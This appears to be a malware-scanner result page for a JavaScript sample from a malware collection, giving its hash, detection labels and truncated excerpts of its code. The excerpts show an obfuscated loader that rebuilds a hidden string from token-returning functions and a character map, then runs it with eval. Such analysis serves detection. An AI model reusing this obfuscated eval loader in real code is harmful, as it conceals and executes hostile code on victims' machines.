Suspicious ^80% javascript-malware-collection Download

20160921_3bce2f31e98c152d025886ed17309773.js

obfuscated eval execution

Token-array remap reconstructionRepeated anonymous return token stubs

SHA-2569a668f4a1c8cd764f3d7afa71030b8b37f7ec8d0b0b42b9a93aa82346b5ae616

Evidence

Repeated anonymous return token stubs lines 1–5

1
2/*@cc_on
3
4var PAa = "";
5var OOn = [(function f000(){return "Sq";})(),(function f000(){return "SGs";})(),(function f000(){return "TKp";})(),(function f000(){return "Rh";})(),(function f000(){return "Wy";})(),(function f000(){return "Iq";})(),(function f000(){return "DYx";})(),(function f000(){return "TKp";})(),(function f000(){return "GGn";})(),(function f000(){return "Oe";})(),(function f000(){return "QDg";})(),(function f000(){return "DIa";})(),(function f000(){return "BIj";})(),(function f000(){return "MKa";})(),(function f000(){return "GGn";})(),(function f000(){return "GGn";})(),(function f000(){return "GGn";})(),(function f000(){return "GGn";})(),(fun …

Short-token to hex-char map lines 5–9

5:595679… )(),(function f000(){return "MKa";})()];
6var Ww;
7for (Ww = 0; Ww < OOn.length; Ww++)
8{
9var VVm = {'Mt': '\x79', 'NBs': '\x78', 'SGs': '\x75', 'Wy': '\x74', 'EZu': '\x77', 'Nx': '\x71', 'Mc': '\x70', 'UEg': '\x73', 'Tn': '\x72', 'MKa': '\x0a', 'MMz': '\x0d', 'Ot': '\x09', 'KZr': '\x7d', 'Wb': '\x7a', 'Qp': '\x7c', 'BIj': '\x7b', 'Wh': '\x2f', 'Mu': '\x2d', 'Ml': '\x2e', 'MDb': '\x2b', 'OMd': '\x2c', 'U …

Token remap loop into eval buffer lines 9–15

9:1280… d', 'KIc': '\x5c', 'OUx': '\x5b', 'IAa': '\x5a'};
10    MJj = OOn[Ww];
11    var Ax = VVm[MJj];
12    PAa = PAa + Ax;
13}
14eval(PAa);
15@*/